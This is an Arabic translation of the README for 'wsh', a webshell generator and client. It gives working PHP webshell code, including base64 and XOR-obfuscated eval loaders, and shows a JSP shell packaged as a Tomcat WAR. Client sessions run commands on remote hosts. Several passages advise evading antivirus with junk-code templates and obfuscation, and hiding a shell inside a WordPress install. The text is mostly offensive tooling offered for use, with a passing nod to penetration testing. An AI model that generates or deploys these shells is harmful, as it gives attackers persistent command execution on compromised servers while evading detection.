
مولّد شِل ويب وواجهة سطر أوامر.
wsh (تُنطق woosh) هو مُولّد لقذائف الويب (webshells) وواجهة سطر أوامر. بدأ هذا المشروع كمجرد عميل HTTP لأن التفاعل مع قذائف الويب هو أمر مزعج. هناك نموذج، لإرسال أمر عليك الكتابة في حقل إدخال والضغط على زر. أردت شيئًا يتناسب بشكل أفضل مع سير عملي ويعمل في الطرفية. وهكذا وُلد wsh.
يتميز العميل بسجل الأوامر، وتسجيل الدخول، ويمكن تهيئته للتفاعل مع قذيفة ويب قياسية منشورة مسبقًا بنموذج/زر. يُنشئ المولّد قذائف ويب بلغات php و asp و jsp. يتم إنشاؤها بمتغيرات عشوائية، بحيث يكون لكل منها تجزئة (hash) فريدة. يمكن تهيئتها بقائمة بيضاء، وكلمات مرور، والسماح بإرسال الأوامر عبر رؤوس (headers) ومعاملات (parameters) مخصصة. يمكن تهيئة المولّد والعميل من خلال خيارات سطر الأوامر أو ملفات التهيئة للسماح بحفظ إعداد يناسبك دون الحاجة إلى ما أسميه رقصة "--help". بمجرد التهيئة، يستخدم كل من العميل والمولّد نفس ملف التهيئة.
wsh <URL> [flags]
-X, --method string طريقة HTTP: GET, POST, PUT, PATCH, DELETE (الافتراضي "GET")
--param string المعامل لإرسال الأمر
--header string الرأس لإرسال الأمر
-P, --params strings معاملات طلب HTTP
-H, --headers strings رؤوس طلب HTTP
-c, --config string ملف التهيئة
-k, --ignore-ssl تجاهل الشهادات غير الصالحة
--log string ملف السجل
--prefix string إضافة بادئة للأمر: 'cmd /c', 'powershell.exe', 'bash'
--timeout int مهلة الطلب بالثواني (الافتراضي 10)
--trim-prefix string اقتطاع بادئة المخرجات
--trim-suffix string اقتطاع لاحقة المخرجات
-h, --help المساعدة لـ wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string طريقة HTTP (GET,POST,PUT,PATCH,DELETE) (الافتراضي "GET")
-p, --param string المعامل لإرسال الأمر
--header string الرأس لإرسال الأمر
-w, --whitelist strings عناوين IP للقائمة البيضاء
-o, --outfile string ملف الإخراج
--no-file تعطيل إمكانيات رفع/تنزيل الملفات
--pass string حماية القذيفة بكلمة مرور
--pass-header string الرأس لإرسال كلمة المرور
--pass-param string المعامل لإرسال كلمة المرور
--xor-header string الرأس لإرسال مفتاح XOR
--xor-key string مفتاح تشفير XOR
--xor-param string المعامل لإرسال مفتاح XOR
--base64 ترميز القذيفة بـ Base64
--minify تصغير كود قذيفة الويب
-t, --template string ملف قالب قذيفة الويب
-h, --help المساعدة للإنشاء
أردت أن يكون العميل مستقلاً عن اللغة، لذلك كان على جميع قذائف الويب تنفيذ نفس منطق الرفع/التنزيل. لسوء الحظ، من الصعب القيام برفع نماذج متعددة الأجزاء (multipart) بشكل أصلي في jsp و asp الكلاسيكي، لذا يتم رفع الملفات كـ base64 في معامل. هذا ليس مثاليًا لأن الحد الأقصى لحجم رفع الملف محدود بالحد الأقصى لحجم المعامل. في المستقبل قد أحاول تنفيذ رفع نماذج متعددة الأجزاء، أو القيام بعدة طلبات لنقل ملفات أكبر.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] تنزيل ملف
put <local filepath> [remote filepath] رفع ملف
clear مسح الشاشة
exit الخروج من القذيفة
الأوامر التالية تنشئ وتتفاعل مع قذيفة ويب php بسيطة.
$ wsh generate php --param cmd --no-file -o shell.php
تم إنشاء القذيفة في shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
يمكن أيضًا إرسال الأوامر عبر رؤوس HTTP
$ wsh generate php --no-file --header user-agent -o shell.php
تم إنشاء القذيفة في shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
يمكن إرسال كلمات المرور عبر معاملات أو رؤوس.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
هذه الوظيفة مثيرة للاهتمام، لكنها قد تتطلب بعض التعديل على القوالب لتكون مفيدة. في حالة asp و jsp، فإن المكتبات التي تسهل فك تشفير base64 هي مؤشرات معروفة (IOCs) وسيتم اكتشافها. إذا كنت مهتمًا باستخدام هذه الوظائف، أنصح بتعديل القالب وتشويش الكود.
مثل حماية كلمة المرور، يمكن إرسال مفتاح XOR عبر معامل أو رأس.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
لإنشاء قذيفة ويب يمكن نشرها على Tomcat، قم بإنشاء قذيفة jsp باسم index.jsp وقم بتشغيل الأمر أدناه لضغطها في ملف war.
أحيانًا، لا تحتوي بيئة Tomcat على المكتبات المطلوبة لرفع/تنزيل الملفات وستحدث خطأ عند إجراء طلب. لعلاج ذلك، استخدم العلامة --no-file.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
استخدام مكتبة قوالب Go يضيف الكثير من المرونة للمولّد. في بعض الأحيان سيتم اكتشاف قذيفة ويب بواسطة برامج مكافحة الفيروسات، ولكنني وجدت أن إضافة الكثير من التعليمات البرمجية العشوائية في ملف القالب غالبًا ما يجعل القذيفة تبدو غير ضارة بما يكفي للسماح لها بالبقاء على القرص. لقد أدرجت مثالاً في ملف templates/covert-php.tml.
بالإضافة إلى ذلك، يمكنك تعديل هذه القوالب لتضمين اسمك/معلومات الاتصال الخاصة بك للإسناد في حالة استخدام اختبار الاختراق.
يمكن تحديد بادئة لإضافة سلسلة نصية إلى بداية كل أمر يتم إرساله إلى القذيفة. يمكن استخدام هذا لتحويل قذيفة cmd عادية إلى قذيفة powershell.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
يتم توقيع السجلات زمنيًا وتتضمن المضيف الذي يتم التفاعل معه. يتم إلحاق ملفات السجل، لذا لا تتردد في استخدام نفس ملف السجل لجلسات/مضيفين متعددين.
127.0.0.1:8080/shell.php --param cmd --log localhost.log
تسجيل الدخول إلى: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
يمكن تهيئة العميل لاقتطاع محتوى HTML الزائد من الطلب، وهذا مفيد عند التفاعل مع قذائف ويب ذات واجهة HTML قياسية، أو ربما إذا كانت قذيفة مولّدة مضمنة بشكل خفي في تثبيت ووردبريس.
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates